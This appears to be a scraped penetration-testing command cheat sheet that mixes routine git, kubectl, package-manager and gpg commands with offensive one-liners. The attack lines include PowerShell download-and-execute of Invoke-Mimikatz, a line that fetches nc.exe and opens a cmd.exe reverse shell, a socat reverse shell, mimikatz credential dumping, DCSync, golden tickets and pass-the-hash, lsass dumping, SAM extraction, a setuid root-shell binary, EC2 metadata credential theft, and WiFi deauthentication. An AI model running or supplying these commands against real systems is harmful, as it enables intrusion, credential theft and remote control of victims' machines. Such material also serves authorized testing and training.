cat <json_file> | ruby -ryaml -rjson -e 'puts YAML.dump(JSON.load(ARGF))'
Utilitymisclinux
Convert multi line to one line
grep <pattern> <file> | tr '\n' ' '
Utilitymisclinux
Create a QR code with some content
echo <content> | curl -F-=\<- qrenco.de
Utilitymisclinux
find service on port
amap -d <ip> <port>
Reconmisclinux
grep nmap protocol from file and get ips in one line
grep <pattern> <file>.gnmap|cut -d ' ' -f 2 | tr '\n' ' '
Utilitymisclinux
change multiple space to one
sed 's/ */ /g'
Utilitysedlinux
delete the last char
sed 's/.$//g'
Utilitysedlinux
Create veracrypt volume for Linux
veracrypt -t --create <file> --hash sha512 --encryption AES --filesystem ext4 --volume-type normal -k "" --pim 0 --size <size>
Miscveracrypt
Lock all veracrypt volume
veracrypt -d
Miscveracrypt
Lock veracrypt volume
veracrypt -d <file>
Miscveracrypt
Open veracrypt volume
veracrypt <file> <mount>
Miscveracrypt

Password Extraction19

laps toolkit
(new-object system.net.webclient).downloadstring('http://<lhost>/LAPSToolkit.ps1') | IEX; Import-Module .\LAPSToolkit.ps1
Post-exploitLAPSwindows
laps toolkit - find LAPS Delegated Groups
Import-Module .\LAPSToolkit.ps1; Find-LAPSDelegatedGroups
ReconLAPSwindows
laps toolkit - Find users with Extended rights
Import-Module .\LAPSToolkit.ps1; Find-AdmPwdExtendedRights
ReconLAPSwindows
laps toolkit - Get laps computer
Import-Module .\LAPSToolkit.ps1; Get-LAPSComputers
ReconLAPSwindows
lazagne dump all passwords (trig av)
lazagne.exe all
Post-exploitlazagnewindows
extract on hand shadow volume copy
powershell.exe "[System.IO.File]::Copy('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM', '.\Desktop\SYSTEM.bkp');[System.IO.File]::Copy('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY', '.\Desktop\SECURITY.bkp');[System.IO.File]::Copy('\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM', '.\Desktop\SAM.bkp')"
Post-exploitmimikatzwindows
mimikatz - forest extra SID
kerberos::golden /user:<user> /domain:<domain> /sid:<child_sid> /krbtgt:<krbtgt_ntlm> /sids:<parent_sid>-519 /ptt
Post-exploitmimikatzwindows
mimikatz dcsync - user (krbtgt/Administrator)
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<domain> /user:<user>" "exit"
Post-exploitmimikatzwindows
mimikatz disable PPL and dump passwords
mimikatz.exe "privilege::debug" "!+" "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords" "exit"
Post-exploitmimikatzwindows
mimikatz extract credentials from dump
mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
Post-exploitmimikatzwindows
mimikatz extract credentials from shadow copy (1)
mimikatz.exe "lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM"
Post-exploitmimikatzwindows
mimikatz extract credentials from shadow copy (2)
mimikatz.exe "lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY"
Post-exploitmimikatzwindows
mimikatz extract tickets
sekurlsa::tickets /export
Post-exploitmimikatzwindows
mimikatz onliner
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
Post-exploitmimikatzwindows
mimikatz pth run powershell remotelly
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm_hash> /run:powershell
Pivotmimikatzwindows
mimikatz pth to RDP mstsc.exe
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm_hash> /run:"mstsc.exe /restrictedadmin"
Pivotmimikatzwindows
powershell - load mimikatz
(new-object system.net.webclient).downloadstring('http://<lhost>/Invoke-Mimikatz.ps1') | IEX Invoke mimikatz
Miscmimikatz
procdump - dump lsass - local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
Post-exploitprocdumpwindows
procdump - dump lsass - remote
net use Z: https://live.sysinternals.com; Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
Post-exploitprocdumpwindows

Network13

chisel remote port forwarding (client on remote machine) - forward server port on client
./chisel client -v <server_ip>:<server_port|8000> <clientside-host|0.0.0.0>:<clientside-port>:<serverside-host|127.0.0.1>:<serverside-port>
Pivotchisellinux
chisel reverse port forwarding (client on remote machine) - forward client port on server
./chisel client -v <server_ip>:<server_port|8000> R:<serverside-port>:<clientside-host|localhost>:<clientside-port>
Pivotchisellinux
chisel server (server on local machine)
./chisel server -v -p <server_port|8000> --reverse
Pivotchisellinux
chisel socks proxy (client on remote machine)
./chisel client <server_ip>:<server_port> R:socks
Pivotchiselwindows
ip infos (hostname / city / country / isp )
curl https://ipinfo.io/<ip>
Utilitynetworklinux
test an internet port out allow - curl (no 445)
curl portquiz.net:<port>
Utilitynetworklinux
test an internet port out allow - nc (no 445)
nc -v portquiz.net <port>
Utilitynetworklinux
what is my ip
curl https://ipinfo.io/
Utilitynetworklinux
what is my ip - plaintext
curl https://ipecho.net/plain/
Utilitynetworklinux
socat port forwarding connect (on remote machine)
./socat TCP:<connect_ip>:<connect_port|4444> TCP:127.0.0.1:<port_to_forward>
Pivotsocatlinux
socat port forwarding listener (on local machine)
./socat TCP-LISTEN:<port_listener|4444>,fork,reuseaddr TCP-LISTEN:<port_to_forward>
Pivotsocatlinux
socat reverse shell (remote victime)
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<listner_ip>:<listner_port|4444>
Pivotsocatlinux
socat reverse shell listener (local)
socat file:`tty`,raw,echo=0 tcp-listen:<listner_port|4444>
Pivotsocatlinux

Services15

List services
service --status-all
Miscservice
Restart a service
service <service_name> restart
Miscservice
Start a service
service <service_name> start
Miscservice
Status of a service
service <service_name> status
Miscservice
Stop a service
service <service_name> stop
Miscservice
Disable service
systemctl disable <service_enabled>
Miscsystemctl
Enable service
systemctl enable <service_disabled>
Miscsystemctl
List disabled services
systemctl list-unit-files --type=service --state=disabled
Miscsystemctl
List enabled services
systemctl list-unit-files --type=service --state=enabled
Miscsystemctl
List running services
systemctl list-units --type=service --state=running
Miscsystemctl
Reload service
systemctl reload <service_active>
Miscsystemctl
Restart service
systemctl restart <service>
Miscsystemctl
Service status
systemctl status <service>
Miscsystemctl
Start service
systemctl start <service_inactive>
Miscsystemctl
Stop service
systemctl stop <service_active>
Miscsystemctl

Tools51

Abort the current conflict resolution process, and try to reconstruct the pre-merge state.
git merge --abort
Miscgit
Add a new module
git submodule add <repository> <path>
Miscgit
Adds a remote for a git repository
git remote add <remote_name> <remote_url>
Miscgit
Checkout a branch from a fork
git fetch origin pull/<pr_number>/head:pr/<pr_number> && git checkout pr/<pr_number>
Miscgit
Checkout to branch
git checkout <branch>
Miscgit
Clear everything
git clean -dxf
Miscgit
Clone a git repository
git clone -b <branch_name> <repository> <clone_directory>
Miscgit
Create new branch from current HEAD
git checkout -b <new_branch_name>
Miscgit
Displays formatted log of commits for a repo
git log --all --decorate --oneline --graph
Miscgit
Displays log of commits for a repo
git log
Miscgit
Displays the current status of a git repository
git status
Miscgit
Displays unstaged changes for file
git diff <unstaged_files>
Miscgit
git dump
gitdumper <url>/.git/ <destination_dir>
Miscgit
Initializes a git repository
git init
Miscgit
Merges changes on one branch into current branch
git merge <branch_name>
Miscgit
Overwrites remote branch with local branch changes
git push <remote_name> <branch_name> -f
Miscgit
Pull all submodules
git submodule foreach git pull origin master
Miscgit
pull remote branch and switch to it
git checkout -b <new_branch_name> <remote>/<branch_name>
Miscgit
Pulls changes to a remote repo to the local repo
git pull --ff-only
Miscgit
Pushes changes to a remote repository overwriting another branch
git push <remote_name> <branch>:<branch_to_overwrite>
Miscgit
Pushes committed changes to remote repository
git push -u <remote_name> <branch_name>
Miscgit
Remove a remote for a git repository
git remote remove <remote_name>
Miscgit
Renames a remote for a git repository
git remote rename <old_remote_name> <new_remote_name>
Miscgit
Saves the changes to a file in a commit
git commit -m <message>
Miscgit
Set global git user email
git config --global user.email <email>
Miscgit
Set global git user name
git config --global user.name <name>
Miscgit
Sign all commits in a branch based on master
git rebase master -S -f
Miscgit
Skip git hooks
git commit --no-verify
Miscgit
Stage all files in project
git add -A
Miscgit
Stage single or multiple files
git add <changed_files>;
Miscgit
Update all submodules
git submodule update --init --recursive
Miscgit
Update module
git submodule update --init
Miscgit
Update module without init
git submodule update
Miscgit
View all available remote for a git repository
git remote --verbose
Miscgit
Display resource (cpu/memory/storage) usage
kubectl top <type>
Misckubernetes
Drain node in preparation for maintenance
kubectl drain <name>
Misckubernetes
Edit deployments
kubectl edit deployment/<name> -n <namespace>
Misckubernetes
Get deployments
kubectl get deployments -n <namespace>
Misckubernetes
Get details from resource on namespace
kubectl describe <resource>/<name> -n <namespace>
Misckubernetes
Get namespaces
kubectl get namespaces
Misckubernetes
Get nodes (add option '-o wide' for details)
kubectl get nodes
Misckubernetes
Get pods from all namespace (add option '-o wide' for details)
kubectl get pods --all-namespaces
Misckubernetes
Get pods from namespace (add option '-o wide' for details)
kubectl get pods -n <namespace>
Misckubernetes
Get services from namespace
kubectl get services -n <namespace>
Misckubernetes
Mark node as schedulable
kubectl uncordon <name>
Misckubernetes
Mark node as unschedulable
kubectl cordon <name>
Misckubernetes
Print all contexts
kubectl config get-contexts
Misckubernetes
Print current context of kubeconfig
kubectl config current-context
Misckubernetes
Print logs from namespace
kubectl logs -f pods/<name> -n <namespace>
Misckubernetes
Print resource documentation
kubectl explain <resource>
Misckubernetes
Set context of kubeconfig
kubectl config use-context <context>
Misckubernetes

Language44

generate shell bash bin
echo 'int main(void){setreuid(0,0); system("/bin/bash"); return 0;}' > pwn.c; gcc pwn.c -o <filename|shell>; rm pwn.c
Codeclinux
DotNetToJScript
DotNetToJScript.exe <dll|ExampleAssembly.dll> --lang=Jscript --ver=v4 -o <jscript|runner.js>
Miscdotnet
initial immediately a new package
npm init -y
Miscjavascript
initial new package
npm init
Miscjavascript
install a specified dev package
npm install <package_name> --save-dev
Miscjavascript
install a specified package
npm install <package_name>
Miscjavascript
install a specified version of node
nvm install <version>
Miscjavascript
install all dependencies packages
npm install
Miscjavascript
install all dev dependencies packages
npm install --save-dev
Miscjavascript
install globally a specified package
npm install <package_name> -g
Utilityjavascriptlinux
list available versions
nvm ls-remote
Miscjavascript
set a node's version as default
nvm alias default <version>
Miscjavascript
use installed node's version
nvm use <version>
Miscjavascript
Change the password of a keystore
keytool -storepasswd -keystore <INPUT_JKS> -new <NEW_PASSWORD>
Misckeytool
Check a particular keystore entry using an alias
keytool -list -v -keystore <INPUT_JKS> -alias <ALIAS>
Misckeytool
Check a stand-alone certificate
keytool -printcert -v -file <INPUT_CRT>
Misckeytool
Check which certificates are in a Java keystore
keytool -list -v -keystore <INPUT_JKS>
Misckeytool
Export a certificate from a keystore
keytool -export -alias <ALIAS> -file <OUTPUT_CRT> -keystore <INPUT_JKS>
Misckeytool
Generate a certificate signing request (CSR) for an existing Java keystore
keytool -certreq -alias <ALIAS> -keystore <INPUT_JKS> -file <OUTPUT_CSR>
Misckeytool
Generate a Java keystore and key pair
keytool -genkey -alias <ALIAS> -keyalg RSA -keystore <OUTPUT_JKS> -keysize <RSA_LENGTH>
Misckeytool
Generate a keystore and self-signed certificate
keytool -genkey -keyalg RSA -alias <ALIAS> -keystore <OUTPUT_JKS> -storepass <PASSWORD> -validity <VALIDITY> -keysize <RSA_LENGTH>
Misckeytool
Import a root or intermediate CA certificate to an existing Java keystore
keytool -import -trustcacerts -alias root -file <INPUT_CRT> -keystore <INPUT_JKS>
Misckeytool
Import a signed primary certificate to an existing Java keystore
keytool -import -trustcacerts -alias <ALIAS> -file <INPUT_CRT> -keystore <INPUT_JKS>
Misckeytool
Import New Certificate Authority into the default Java Trusted Certs Keystore
keytool -import -trustcacerts -file <INPUT_PEM> -alias <ALIAS> -keystore $JAVA_HOME/jre/lib/security/cacerts
Misckeytool
List the trusted CA Certs from the default Java Trusted Certs Keystore
keytool -list -v -keystore $JAVA_HOME/jre/lib/security/cacerts
Misckeytool
Remove a certificate from a keystore
keytool -delete -alias <ALIAS> -keystore <INPUT_JKS>
Misckeytool
command execution
grep -rn --include "*.js" -e "^\(.*\s\|.*child_process.*|\)\(exec\|spawn\|eval\|execSync\|spawnSync\|execFileSync\)(" --color
Miscnodejs
require
grep -rn --include "*.js" -e "^\(.*\s\|\)\(require\)(" --color grep -rn --include "*.js" -e "^\(.*\s\|\)\(appendFile\|open\|readFile\|WriteFile\\|unlink\|rename\|formidable)(" --color grep -rn --include "*.js" -e "unserialize(" --color
Miscnodejs
php grep callbacks
grep -rn --include "*.php" -e "^\(.*\s\|\)\(ob_start\|array_diff_uassoc\|array_diff_ukey\|array_filter\|array_intersect_uassoc\|array_intersect_ukey\|array_map\|array_reduce\|array_udiff_assoc\|array_udiff_uassoc\|array_udiff\|array_uintersect_assoc\|array_uintersect_uassoc\|array_uintersect\|array_walk_recursive\|array_walk\|assert_options\|uasort\|uksort\|usort\|preg_replace_callback\|spl_autoload_register\|iterator_apply\|register_shutdown_function\|register_tick_function\|set_error_handler\|set_exception_handler\|session_set_save_handler\|sqlite_create_aggregate\|sqlite_create_function\)(.*\\$"
Miscphp
php grep curl
grep -rn --include "*.php" -e "curl_exec" --color
Miscphp
php grep echo
grep -rn --include "*.php" -e "^\(.*\s\|\)\(echo\|printf\|print\)\(\s\|(\).*\\$" --color
Miscphp
php grep entry points
grep -rn --include "*.php" -e "\(\$_GET\|\$_POST\|\$_FILES\|\$REQUEST\|\$_COOKIES\|\$_SESSION\|\$_SERVER\|\$_GLOBALS\)" --color
Miscphp
php grep exec
grep -rn --include "*.php" -e "^\(.*\s\|\)\(eval\|popen\|pcntl_exec\|assert\|proc_open\|create_function\|call_user_func\|call_user_func_array\|exec\|shell_exec\|system\|passthru\|virtual\)([^)]*\\$" --color
Miscphp
php grep file not contain an auth file include
for f in *.php; do grep "/include/auth.php" $f || echo $f; done |grep -v include | grep -v require
Miscphp
php grep include
grep -rn --include "*.php" -e "^\(.*\s\|\)\(include\|require\|virtual\|require_once\|include_once\)\(\s\|(\).*\\$" --color
Miscphp
php grep ldap
grep -rn --include "*.php" -e "^\(.*\s\|\)ldap_search(.*\\$" --color
Miscphp
php grep mail
grep -rn --include "*.php" -e "^\(.*\s\|\)mail(.*\\$" --color
Miscphp
php grep path traversal
grep -rn --include "*.php" -e "^\(.*\s\|\)\(readfile\|file_get_contents\|stream_get_contents\|show_source\|fopen\|file\|fpassthru\|gzopen\|gzfile\|gzpassthru\|readgzfile\)\(\s\|(\).*\\$" --color
Miscphp
php grep replace
grep -rn --include "*.php" -e "^\(.*\s\|\)\(preg_replace\|ereg_replace\|eregi_replace\|mb_ereg_replace\|mb_eregi_replace\)(.*\\$" --color
Miscphp
php grep unserialize
grep -rn --include "*.php" -e "^\(.*\s\|\)unserialize(.*\\$" --color
Miscphp
php grep weak comparison
grep -rn --include "*.php" -e "\(\\\$[^=]\|0\)\s*==\s*\(0\|\\\$[^=]\\)" --color
Miscphp
php grep where or query
grep -rni --include "*.php" -e "\(where\|query\).*\\$"
Miscphp
php grep xpath
grep -rn --include "*.php" -e "^\(.*\s\|\)xpath.*\\$" --color
Miscphp
php wrapper lfi
curl <url>?<param>=php://filter/read=convert.base64-encode/resource=<file>.php
Miscphp

Databases5

connect remotely over tls w/ server & client certificates
redis-cli -h <ip> --tls --cacert <redis_cert_path.pem> --cert <redis_user_path.crt> --key <redis_user_private_path.key>
Miscredis
connect remotely over tls w/ server certificate
redis-cli -h <ip> --tls --cacert <redis_cert_path.pem>
Miscredis
connect remotely specifying a port
redis-cli -h <ip> -p <port> -a <password>
Miscredis
connect to a remote server on the default port (6379)
redis-cli -h <ip> -a <password>
Miscredis
connect to the local server
redis-cli
Miscredis

Archive22

7z create archive with password
7z a <archive_name>.7z -p<password> <file>
Misc7z
Compute entropy of a firmware
binwalk -E <firmware_file>
Miscbinwalk
Recursively extract files from a firmware
binwalk -Me <firmware_file>
Miscbinwalk
Compress file and appends .gz to its name
gzip <path>
Miscgzip
Decompress compressed file
gzip -d <gz_file>
Miscgzip
Compress dir to rar file
rar a <dir>
Miscrar
Decompress rar file
unrar x <file>.rar
Miscrar
Create a tar containing files
tar cf <name>.tar <files>
Misctar
Create a tar with Gzip compression
tar czf <name>.tar.gz <files>
Misctar
Extract a tar using Gzip
tar xzf <targz_file>
Misctar
Extract the files from a tar
tar xf <tar_file>
Misctar
Extract files from a firmware
unblob <firmware_file>
Miscunblob
Show external dependencies
unblob --show-external-dependencies
Miscunblob
add file to a zip archive
zip -u <file>.zip <file_to_add>
Misczip
create zip file
zip <file>.zip <files_to_zip>
Misczip
create zip file with symlink (useful for path traversal)
zip --symlinks <file>.zip <symlink_file>
Misczip
list detailed zip file content
unzip -Z <file>.zip
Misczip
unzip file
unzip <file>.zip
Misczip
unzip file to directory
unzip <file>.zip -d <destination_folder>
Misczip
view zip content
zipinfo <file>.zip
Misczip
zip all the files of current directory
zip <file>.zip *
Misczip
zip folder
zip -r <file>.zip <folder>
Misczip

Crypto12

clearsign documents
gpg --clearsign <filename>
Miscgpg
decrypt document
gpg --output <filename> --decrypt <filename_gpg>
Miscgpg
detach signature
gpg --output <filename_sig> --detach-sig <filename>
Miscgpg
distribute public key to key server
gpg --keyserver <key_server> --send-keys <public_key>
Miscgpg
encrypt document
gpg --output <output_filename_gpg> --encrypt --recipient <public_key> <input_filename>
Miscgpg
export public key
gpg --output <filename_gpg> --export <key_name>
Miscgpg
gpg generate key
gpg --gen-key
Miscgpg
gpg version
gpg --version
Miscgpg
import public key
gpg --import <filename_gpg>
Miscgpg
list keys
gpg --list-keys
Miscgpg
make a signature
gpg --output <filename_sig> --sign <filename>
Miscgpg
verify signature
gpg --output <filename> <filename> --decrypt <filename_sig>
Miscgpg

Files8

download with certutil (2)
certutil.exe -verifyctl -f -split h http://<server>/<source_file> <dest_file>
Attackcertutilwindows
download with certutil
certutil.exe -urlcache -split -f http://<server>/<source_file> <dest_file>
Attackcertutilwindows
Encode in base64 with certutil
certutil -decode enc.txt <file>
Utilitycertutilwindows
Download and execute with powershell
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile New-Object System.Net.WebClient.DownloadFile('<url_file>','nc.exe'); nc.exe <ip> <port> -e cmd.exe
Attackpowershellwindows
Download with powershell
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile "(New-Object System.Net.WebClient).DownloadFile('http://<server>/<source_file>','<dest_file>')"
Attackpowershellwindows
php Simple builtin server
php -S 0.0.0.0:<lport>
Attackserverlinux
python Simple HTTP server
python3 -m http.server <lport>
Attackserverlinux
python3 Simple HTTP server
python3 -m http.server <lport>
Attackserverlinux

Install27

edit cask
brew cask edit <casks>
Miscbrew
edit package
brew edit <package>
Miscbrew
get info for a cask
brew cask info <casks>
Miscbrew
get info for a package
brew info <package>
Miscbrew
install a cask
brew cask install <casks>
Miscbrew
install a package
brew install <package>
Miscbrew
uninstall a cask
brew cask uninstall <caskinstalled>
Miscbrew
uninstall a package
brew uninstall <installed>
Miscbrew
update brew
brew update
Miscbrew
upgrade brew
brew upgrade
Miscbrew
Check updates for installed packages
yum check-update
Miscyum
Downgrade package
yum downgrade <package-name>
Miscyum
Info about package
yum info <package-name>
Miscyum
Install a package from repository
yum install <package-name>
Miscyum
Install local rpm package
yum localinstall <filepath-rpm>
Miscyum
Install security updates
yum update --security
Miscyum
List all available packages
yum list available
Miscyum
List all history actions (install, update and erase)
yum history list
Miscyum
List all installed packages
yum list installed
Miscyum
List currently enabled repositories
yum repolist
Miscyum
List dependencies of package
yum deplist <package-name>
Miscyum
Remove un-needed packages and dependencies
yum autoremove
Miscyum
Remove/delete package
yum remove <package-name>
Miscyum
Search in repository (packages and descriptions)
yum search <query>
Miscyum
Update all packages
yum update
Miscyum
Update specific/individual package
yum update <package-name>
Miscyum
Whatprovides package/file/binary
yum whatprovides <query>
Miscyum

Pwn24

bof, nasm - show opcode from asm
msf-nasm_shell # nasm > jmp esp
Miscbof
bof, pattern creation
msf-pattern_create -l <size>
Miscbof
bof, pattern offset
msf-pattern_offset -l <size> -q <pattern>
Miscbof
mona - Badchar hunting step 1 - Creates a byte array
!mona bytearray -cpb <excluded_bytes|'\x00\x0a\x0d'>
Miscbof
mona - Badchar hunting step 3 - compare until "!!! Hooray, normal shellcode unmodified !!!" message
!mona compare -f <input_file|C:\BadChars\bytearray.bin> -a <bytesarray_address|esp>
Miscbof
mona - Configure the log directory (no need to create it)
!mona config -set workingfolder <path|c:\logs\%p>
Miscbof
mona - Create a cyclic pattern of a given size
!mona pc <pattern_size|400>
Miscbof
mona - Find a function in IAT
!mona getiat -s <function_name|*strcpy*>
Miscbof
mona - Find bytes in memory (ex: eggs)
!mona find -s <pattern_value|"w00tw00t">
Miscbof
mona - Find cyclic pattern in memory
!mona findmsp
Miscbof
mona - Find location (offset) of 4 bytes in a cyclic pattern
!mona po <pattern_value|41346541>
Miscbof
mona - Find pointers that will allow you to jump to a register (without null bytes)
!mona jmp -r <reg_name|esp> -n
Miscbof
mona - Find pointers to assist with SEH overwrite exploits (default: no aslr, no rebase, no safeseh)
!mona seh
Miscbof
mona - Finds gadgets that can be used in a ROP exploit and do ROP magic with them (Note : can take 20 minutes)
!mona rop -cm aslr=false,rebase=false
Miscbof
mona - Finds stackpivots (move stackpointer to controlled area)
!mona stackpivot -cm os=true -distance <min,max|12,12>
Miscbof
mona - Set a breakpoint on all current SEH Handler function pointers
!mona bpseh
Miscbof
mona - Show all loaded modules and their properties
!mona modules
Miscbof
mona - Show pointers to pointers to the pattern (might take a while !)
!mona find -type file -s <input_file|C:\stackpivot.txt> -p2p
Miscbof
mona - Show the current SEH chain
!mona sehchain
Miscbof
mona - Verify the current the log directory
!mona config -get workingfolder
Miscbof
ropgadget - Search string between two addresses (0x...-0x...)
ROPgadget --binary <binary> --string <string> --range <start_address>-<end_address> ROPgadget --binary <binary> --only="<instructions>" ROPgadget --binary <binary> --filter="<instructions>"
Miscbof
ropgadget - Specify a binary filename to analyze
ROPgadget --binary <binary>
Miscbof
ropgagdet - Enable the ROP chain generation
ROPgadget --binary <binary> --ropchain
Miscbof
ropgagdet - Search opcode in executable segment
ROPgadget --binary <binary> --opcode <opcode>
Miscbof

Wifi14

aircrack - crack handshake for PSK
aircrack-ng -w <dictionary> <input_file>
Miscwifi
aireplay - deauth client
aireplay-ng --deauth <deauth_count> -c <client_mac_address> -a <mac_address> <wlanmon_interface>
Miscwifi
airmon - Kill processes which can cause trouble
airmon-ng check kill
Miscwifi
airmon - start interface
airmon-ng start <wlan_interface>
Miscwifi
airmon - stop interface
airmon-ng stop <wlanmon_interface>
Miscwifi
airodump - listen to everything
airodump-ng <wlanmon_interface>
Miscwifi
airodump - listen to specific SSID
airodump-ng --bssid <mac_address> -c <channel> -w <output_file> <wlanmon_interface>
Miscwifi
hcxdumptool -
hcxpcapngtool -z test.16800 test.pcapng
Miscwifi
hcxdumptool - WPA2-PSK PMKID Capture
hcxdumptool -i <wlanmon_interface> -o capture.pcapng --enable_status=1 -c <channel>
Miscwifi
hostapd-wpe - launch fake AP
hostapd-wpe <hostapd_conf>
Miscwifi
kismet - monitor WiFi
kismet -c <wlan_interface>
Miscwifi
NetworkManager - Restart NetworkManager
systemctl restart NetworkManager
Miscwifi
nmcli - set back WiFi interface to managed mode
nmcli device set <wlan_interface> managed true
Miscwifi
reaver - launch WPS pixiedust attack
reaver -i <wlanmon_interface> -b <mac_address> -c <channel> -Z
Miscwifi

Cloud2

SSRF in EC2 - Dump roles
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role_name>
Reconaws:80httplinux
SSRF in EC2 - List roles
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Reconaws:80httplinux

Flashrom4

Force read from BusPirate
flashrom -p buspirate_spi:dev=<buspirate>,spispeed=<spispeed> -r <output_file> -f -c <chipname>
Miscflashrom
Force read from linux (e.g. Raspberry Pi)
flashrom -p linux_spi:dev=<spidev>,spispeed=<spispeed> -r <output_file> -f -c <chipname>
Miscflashrom
Read from BusPirate
flashrom -p buspirate_spi:dev=<buspirate>,spispeed=<spispeed> -r <output_file>
Miscflashrom
Read from linux (e.g. Raspberry Pi)
flashrom -p linux_spi:dev=<spidev>,spispeed=<spispeed> -r <output_file>
Miscflashrom

Race Condition1

change a file by a symlink when found
while true ; do N=<file_to_search> ; if [[ -r $N ]] ; then rm $N ; ln -s <symlink_target_file> $N ; break; fi ; done
Miscracecondition
no commands match. clear the search or pick a different phase.